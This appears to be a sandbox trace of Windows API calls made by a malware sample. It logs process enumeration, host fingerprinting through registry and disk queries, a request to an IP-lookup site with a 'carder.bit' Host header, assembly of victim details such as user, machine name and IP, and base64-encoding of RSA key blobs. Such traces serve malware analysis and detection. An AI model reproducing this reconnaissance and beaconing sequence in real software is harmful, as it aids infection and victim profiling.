	[0082.698] GetLastError () returned 0xcb
	[0082.698] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="responsible-contained-office.exe")) returned 1
	[0082.699] GetLastError () returned 0xcb
	[0082.699] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="address.exe")) returned 1
	[0082.699] GetLastError () returned 0xcb
	[0082.699] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="danish.exe")) returned 1
	[0082.700] GetLastError () returned 0xcb
	[0082.700] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="theft ye.exe")) returned 1
	[0082.701] GetLastError () returned 0xcb
	[0082.701] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="have.exe")) returned 1
	[0082.701] GetLastError () returned 0xcb
	[0082.702] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="copydiscussband.exe")) returned 1
	[0082.702] GetLastError () returned 0xcb
	[0082.702] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="economiescodes.exe")) returned 1
	[0082.703] GetLastError () returned 0xcb
	[0082.703] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance-czech-ri-harper.exe")) returned 1
	[0082.704] GetLastError () returned 0xcb
	[0082.704] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="respect-motor.exe")) returned 1
	[0082.705] GetLastError () returned 0xcb
	[0082.705] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1
	[0082.705] GetLastError () returned 0xcb
	[0082.705] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0082.706] GetLastError () returned 0xcb
	[0082.706] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.707] GetLastError () returned 0xcb
	[0082.707] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0082.708] GetLastError () returned 0xcb
	[0082.708] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xed0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0082.708] GetLastError () returned 0xcb
	[0082.708] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xed0, pcPriClassBase=8, dwFlags=0x0, szExeFile="busmeat.exe")) returned 1
	[0082.709] GetLastError () returned 0xcb
	[0082.709] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0082.710] GetLastError () returned 0xcb
	[0082.710] Process32NextW (in: hSnapshot=0x230, lppe=0x130000 | out: lppe=0x130000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0
	[0082.711] VirtualFree (lpAddress=0x130000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.711] CloseHandle (hObject=0x230) returned 1
	[0082.711] VirtualFree (lpAddress=0x120000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.712] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x120000
	[0082.712] VirtualAlloc (lpAddress=0x0, dwSize=0xe0c, flAllocationType=0x3000, flProtect=0x4) returned 0x130000
	[0082.712] GetWindowsDirectoryW (in: lpBuffer=0x130000, uSize=0x100 | out: lpBuffer="C:\\Windows") returned 0xa
	[0082.712] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x130200, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x130600, lpMaximumComponentLength=0x130608, lpFileSystemFlags=0x130604, lpFileSystemNameBuffer=0x130400, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x130600*=0xd2ca4def, lpMaximumComponentLength=0x130608*=0xff, lpFileSystemFlags=0x130604*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1
	[0082.712] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x253fd64 | out: phkResult=0x253fd64*=0x230) returned 0x0
	[0082.712] RegQueryValueExW (in: hKey=0x230, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x13060c, lpcbData=0x253fd74*=0x80 | out: lpType=0x0, lpData=0x13060c*=0x49, lpcbData=0x253fd74*=0x54) returned 0x0
	[0082.712] RegCloseKey (hKey=0x230) returned 0x0
	[0082.713] lstrlenW (lpString="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHz") returned 41
	[0082.713] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x253fd64 | out: phkResult=0x253fd64*=0x230) returned 0x0
	[0082.713] RegQueryValueExW (in: hKey=0x230, lpValueName="Identifier", lpReserved=0x0, lpType=0x0, lpData=0x13065e, lpcbData=0x253fd74*=0x80 | out: lpType=0x0, lpData=0x13065e*=0x49, lpcbData=0x253fd74*=0x4a) returned 0x0
	[0082.713] RegCloseKey (hKey=0x230) returned 0x0
	[0082.713] wsprintfW (in: param_1=0x120000, param_2="%d" | out: param_1="-758493713") returned 10
	[0082.713] lstrcatW (in: lpString1="-758493713", lpString2="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" | out: lpString1="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3"
	[0082.713] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77c40000
	[0082.713] GetProcAddress (hModule=0x77c40000, lpProcName="RtlComputeCrc32") returned 0x77c66b10
	[0082.713] lstrlenW (lpString="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned 87
	[0082.713] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x120000, Length=0xae) returned 0xdce1bb8b
	[0082.713] VirtualFree (lpAddress=0x130000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.714] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x130000
	[0082.714] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1
	[0082.714] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1
	[0082.714] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0082.714] lstrcatW (in: lpString1="", lpString2="C:" | out: lpString1="C:") returned="C:"
	[0082.714] lstrcatW (in: lpString1="C:", lpString2="FIXED" | out: lpString1="C:FIXED") returned="C:FIXED"
	[0082.714] lstrcatW (in: lpString1="C:FIXED", lpString2="_" | out: lpString1="C:FIXED_") returned="C:FIXED_"
	[0082.714] GetDiskFreeSpaceW (in: lpRootPathName="C:\\", lpSectorsPerCluster=0x253fe00, lpBytesPerSector=0x253fe08, lpNumberOfFreeClusters=0x253fe10, lpTotalNumberOfClusters=0x253fe0c | out: lpSectorsPerCluster=0x253fe00, lpBytesPerSector=0x253fe08, lpNumberOfFreeClusters=0x253fe10, lpTotalNumberOfClusters=0x253fe0c) returned 1
	[0082.715] lstrlenW (lpString="C:FIXED_") returned 8
	[0082.715] wsprintfW (in: param_1=0x130010, param_2="%I64u/" | out: param_1="549227327488/") returned 13
	[0082.715] lstrlenW (lpString="C:FIXED_549227327488/") returned 21
	[0082.715] wsprintfW (in: param_1=0x13002a, param_2="%I64u" | out: param_1="17496797184") returned 11
	[0082.715] lstrcatW (in: lpString1="C:FIXED_549227327488/17496797184", lpString2="," | out: lpString1="C:FIXED_549227327488/17496797184,") returned="C:FIXED_549227327488/17496797184,"
	[0082.715] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1
	[0082.715] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1
	[0082.715] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1
	[0082.715] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1
	[0082.715] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1
	[0082.716] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1
	[0082.716] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1
	[0082.716] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1
	[0082.716] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1
	[0082.716] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1
	[0082.716] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1
	[0082.716] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1
	[0082.716] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1
	[0082.717] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1
	[0082.717] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1
	[0082.717] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1
	[0082.717] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1
	[0082.717] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1
	[0082.717] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1
	[0082.717] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1
	[0082.717] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1
	[0082.718] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1
	[0082.718] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1
	[0082.718] GetDriveTypeW (lpRootPathName="") returned 0x1
	[0082.718] lstrlenW (lpString="C:FIXED_549227327488/17496797184,") returned 33
	[0082.718] VirtualAlloc (lpAddress=0x0, dwSize=0x81, flAllocationType=0x3000, flProtect=0x4) returned 0x140000
	[0082.718] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
	[0084.031] VirtualAlloc (lpAddress=0x0, dwSize=0x2801, flAllocationType=0x3000, flProtect=0x40) returned 0x170000
	[0084.032] lstrlenW (lpString="") returned 0
	[0084.032] InternetCloseHandle (hInternet=0xcc0004) returned 1
	[0084.032] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
	[0084.032] InternetConnectW (hInternet=0xcc0004, lpszServerName="ipv4bot.whatismyipaddress.com", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
	[0084.047] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0084.047] wsprintfW (in: param_1=0x180000, param_2="%s" | out: param_1="/") returned 1
	[0084.047] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x8404f700, dwContext=0x0) returned 0xcc000c
	[0084.048] HttpAddRequestHeadersW (hRequest=0xcc000c, lpszHeaders="Host: carder.bit", dwHeadersLength=0xffffffff, dwModifiers=0x0) returned 1
	[0084.048] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1
	[0084.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x170000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x253fd3c | out: lpBuffer=0x170000*, lpdwNumberOfBytesRead=0x253fd3c*=0xe) returned 1
	[0084.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x170000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x253fd3c | out: lpBuffer=0x170000*, lpdwNumberOfBytesRead=0x253fd3c*=0x0) returned 1
	[0084.603] InternetCloseHandle (hInternet=0xcc000c) returned 1
	[0084.604] InternetCloseHandle (hInternet=0xcc0008) returned 1
	[0084.604] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0084.605] lstrlenA (lpString="87.142.155.213") returned 14
	[0084.605] wsprintfW (in: param_1=0x140000, param_2="%S" | out: param_1="87.142.155.213") returned 14
	[0084.605] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0084.605] InternetCloseHandle (hInternet=0xcc0004) returned 1
	[0084.605] lstrlenW (lpString="SYSTEM") returned 6
	[0084.605] lstrlenW (lpString="pc_user") returned 7
	[0084.605] lstrlenW (lpString="LHNIWSJ") returned 7
	[0084.605] lstrlenW (lpString="pc_name") returned 7
	[0084.605] lstrlenW (lpString="WORKGROUP") returned 9
	[0084.605] lstrlenW (lpString="pc_group") returned 8
	[0084.605] lstrlenW (lpString="en-US") returned 5
	[0084.605] lstrlenW (lpString="pc_lang") returned 7
	[0084.605] lstrlenW (lpString="0") returned 1
	[0084.605] lstrlenW (lpString="pc_keyb") returned 7
	[0084.605] lstrlenW (lpString="Windows 10 Pro") returned 14
	[0084.605] lstrlenW (lpString="os_major") returned 8
	[0084.605] lstrlenW (lpString="x64") returned 3
	[0084.606] lstrlenW (lpString="os_bit") returned 6
	[0084.606] lstrlenW (lpString="C:FIXED_549227327488/17496797184") returned 32
	[0084.606] lstrlenW (lpString="hdd") returned 3
	[0084.606] lstrlenW (lpString="ip") returned 2
	[0084.606] lstrlenW (lpString="87.142.155.213") returned 14
	[0084.606] VirtualAlloc (lpAddress=0x0, dwSize=0x17250, flAllocationType=0x3000, flProtect=0x40) returned 0x170000
	[0084.606] CryptBinaryToStringA (in: pbBinary=0x60000, cbBinary=0x114, dwFlags=0x40000001, pszString=0x17bb80, pcchString=0x253fe44 | out: pszString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7", pcchString=0x253fe44) returned 1
	[0084.606] CryptBinaryToStringA (in: pbBinary=0x70000, cbBinary=0x494, dwFlags=0x40000001, pszString=0x17c422, pcchString=0x253fe44 | out: pszString="BwIAAACkAABSU0EyAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7NyTrjXCzJRxiRo+ys8FkI7NtQUG69llhqVsv8K3WUjMTxf8v3zdowOMFpZFxfkD5wHVi5clhfH5BsPIqovoqJf7mO6w3eBtHFRB6tzFGJDkFrXeH197+pNT8eVsBRocqUGIPr+xSI6utORJowafbMbTGRZemKu/GrtZx1kyeLP9dJcs/l8vRb9SE3XzpVB13R83EaZNzaJkY1scbAhsr9FB4xKqLkN/7rO/FWjdP3k1lZVdgXj48Qygiz+CAYiPgFa4M9hqUXZXWnUZLCHWeD9nBUNw48M52xsDZu+n88rgVuBAjsOFnih0wlNe4FfZPTgkKw4BsUhmGu8vwxY/a++MeQfhOc1GO4tSvFlAGcnSJ1AqIARwZthuda1AlYYxFWrdrtFPHPYvVaJgepW3Xg6Vepbgb6vZH7wsDZgr7ScDJcArnHbs7nZqndihJesrdRT8eiU/S6kqB5LlL5ptYzLxigb9ieSFf/HBv+y6BpHye3Tlt+DutX+rVxOh1buCcJfi73s6yB7nYorBElmBUkjQDxVxlzBgm2GhRstmVOuGXt3DKYNPNbK8Xlcev/QNKkRoyNUr+tdRbKrWHCsdZunUI3NnFaDhB1CvcDxqO+WoBJblrFW0qSwdPBQZvJEdtbG+NS+nJ8G5YkRZC0l2MNUCNosLCrP74ZFsx1uD0pLQBdXWdKm3SOm96JFg90yhLhTB1cja3RNjCDM/nZbsx1SieKPn+nG2LqB6YgZsVXnh9yLgY3A4vKF4mA7e7lgn9pagcT2BhJHCXeak0xcJYljnVhYLchm+7LIrE7dJ7ZEmWBuJL6waxQz9fZ4dehiAvlkH0Q4tW9ezyn14LRCj9WCVQEOe6PvFYfeeZ4D7tMm5d17wRlE8z1uodXOlRuzHJOoBHPwn0EAmQbyMYWHHpWTWP7OtryVewLonVKqca1JUn8u8cburgounzLKGswFLARliFBghpbweyoV6kocKSUWjoPEzkMM6yB1evuCv6DzJ/dhgEluCZnZXVzJSmVo6DJQuPDsKHRhDu9tSLwwtJXX39f5Vh/k1Hzz43WcnstD/15CmRIvWJ6D8E5EfR3vrO8RpJXWvWHEPYDAIMeubFjboUJjLrhtAHTbfSR5/RYoIjF8AWMVq4FQruty3b1EX/fXmRGPErkTjznvxboSCL5vcc0by7SFa1EcqnPAKJUWk=", pcchString=0x253fe44) returned 1
	[0084.606] lstrlenA (lpString="BwIAAACkAABSU0EyAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7NyTrjXCzJRxiRo+ys8FkI7NtQUG69llhqVsv8K3WUjMTxf8v3zdowOMFpZFxfkD5wHVi5clhfH5BsPIqovoqJf7mO6w3eBtHFRB6tzFGJDkFrXeH197+pNT8eVsBRocqUGIPr+xSI6utORJowafbMbTGRZemKu/GrtZx1kyeLP9dJcs/l8vRb9SE3XzpVB13R83EaZNzaJkY1scbAhsr9FB4xKqLkN/7rO/FWjdP3k1lZVdgXj48Qygiz+CAYiPgFa4M9hqUXZXWnUZLCHWeD9nBUNw48M52xsDZu+n88rgVuBAjsOFnih0wlNe4FfZPTgkKw4BsUhmGu8vwxY/a++MeQfhOc1GO4tSvFlAGcnSJ1AqIARwZthuda1AlYYxFWrdrtFPHPYvVaJgepW3Xg6Vepbgb6vZH7wsDZgr7ScDJcArnHbs7nZqndihJesrdRT8eiU/S6kqB5LlL5ptYzLxigb9ieSFf/HBv+y6BpHye3Tlt+DutX+rVxOh1buCcJfi73s6yB7nYorBElmBUkjQDxVxlzBgm2GhRstmVOuGXt3DKYNPNbK8Xlcev/QNKkRoyNUr+tdRbKrWHCsdZunUI3NnFaDhB1CvcDxqO+WoBJblrFW0qSwdPBQZvJEdtbG+NS+nJ8G5YkRZC0l2MNUCNosLCrP74ZFsx1uD0pLQBdXWdKm3SOm96JFg90yhLhTB1cja3RNjCDM/nZbsx1SieKPn+nG2LqB6YgZsVXnh9yLgY3A4vKF4mA7e7lgn9pagcT2BhJHCXeak0xcJYljnVhYLchm+7LIrE7dJ7ZEmWBuJL6waxQz9fZ4dehiAvlkH0Q4tW9ezyn14LRCj9WCVQEOe6PvFYfeeZ4D7tMm5d17wRlE8z1uodXOlRuzHJOoBHPwn0EAmQbyMYWHHpWTWP7OtryVewLonVKqca1JUn8u8cburgounzLKGswFLARliFBghpbweyoV6kocKSUWjoPEzkMM6yB1evuCv6DzJ/dhgEluCZnZXVzJSmVo6DJQuPDsKHRhDu9tSLwwtJXX39f5Vh/k1Hzz43WcnstD/15CmRIvWJ6D8E5EfR3vrO8RpJXWvWHEPYDAIMeubFjboUJjLrhtAHTbfSR5/RYoIjF8AWMVq4FQruty3b1EX/fXmRGPErkTjznvxboSCL5vcc0by7SFa1EcqnPAKJUWk=") returned 1564
	[0084.606] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.606] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0084.606] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.606] lstrlenA (lpString="BwIAAACkAABSU0EyAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7NyTrjXCzJRxiRo+ys8FkI7NtQUG69llhqVsv8K3WUjMTxf8v3zdowOMFpZFxfkD5wHVi5clhfH5BsPIqovoqJf7mO6w3eBtHFRB6tzFGJDkFrXeH197+pNT8eVsBRocqUGIPr+xSI6utORJowafbMbTGRZemKu/GrtZx1kyeLP9dJcs/l8vRb9SE3XzpVB13R83EaZNzaJkY1scbAhsr9FB4xKqLkN/7rO/FWjdP3k1lZVdgXj48Qygiz+CAYiPgFa4M9hqUXZXWnUZLCHWeD9nBUNw48M52xsDZu+n88rgVuBAjsOFnih0wlNe4FfZPTgkKw4BsUhmGu8vwxY/a++MeQfhOc1GO4tSvFlAGcnSJ1AqIARwZthuda1AlYYxFWrdrtFPHPYvVaJgepW3Xg6Vepbgb6vZH7wsDZgr7ScDJcArnHbs7nZqndihJesrdRT8eiU/S6kqB5LlL5ptYzLxigb9ieSFf/HBv+y6BpHye3Tlt+DutX+rVxOh1buCcJfi73s6yB7nYorBElmBUkjQDxVxlzBgm2GhRstmVOuGXt3DKYNPNbK8Xlcev/QNKkRoyNUr+tdRbKrWHCsdZunUI3NnFaDhB1CvcDxqO+WoBJblrFW0qSwdPBQZvJEdtbG+NS+nJ8G5YkRZC0l2MNUCNosLCrP74ZFsx1uD0pLQBdXWdKm3SOm96JFg90yhLhTB1cja3RNjCDM/nZbsx1SieKPn+nG2LqB6YgZsVXnh9yLgY3A4vKF4mA7e7lgn9pagcT2BhJHCXeak0xcJYljnVhYLchm+7LIrE7dJ7ZEmWBuJL6waxQz9fZ4dehiAvlkH0Q4tW9ezyn14LRCj9WCVQEOe6PvFYfeeZ4D7tMm5d17wRlE8z1uodXOlRuzHJOoBHPwn0EAmQbyMYWHHpWTWP7OtryVewLonVKqca1JUn8u8cburgounzLKGswFLARliFBghpbweyoV6kocKSUWjoPEzkMM6yB1evuCv6DzJ/dhgEluCZnZXVzJSmVo6DJQuPDsKHRhDu9tSLwwtJXX39f5Vh/k1Hzz43WcnstD/15CmRIvWJ6D8E5EfR3vrO8RpJXWvWHEPYDAIMeubFjboUJjLrhtAHTbfSR5/RYoIjF8AWMVq4FQruty3b1EX/fXmRGPErkTjznvxboSCL5vcc0by7SFa1EcqnPAKJUWk=") returned 1564
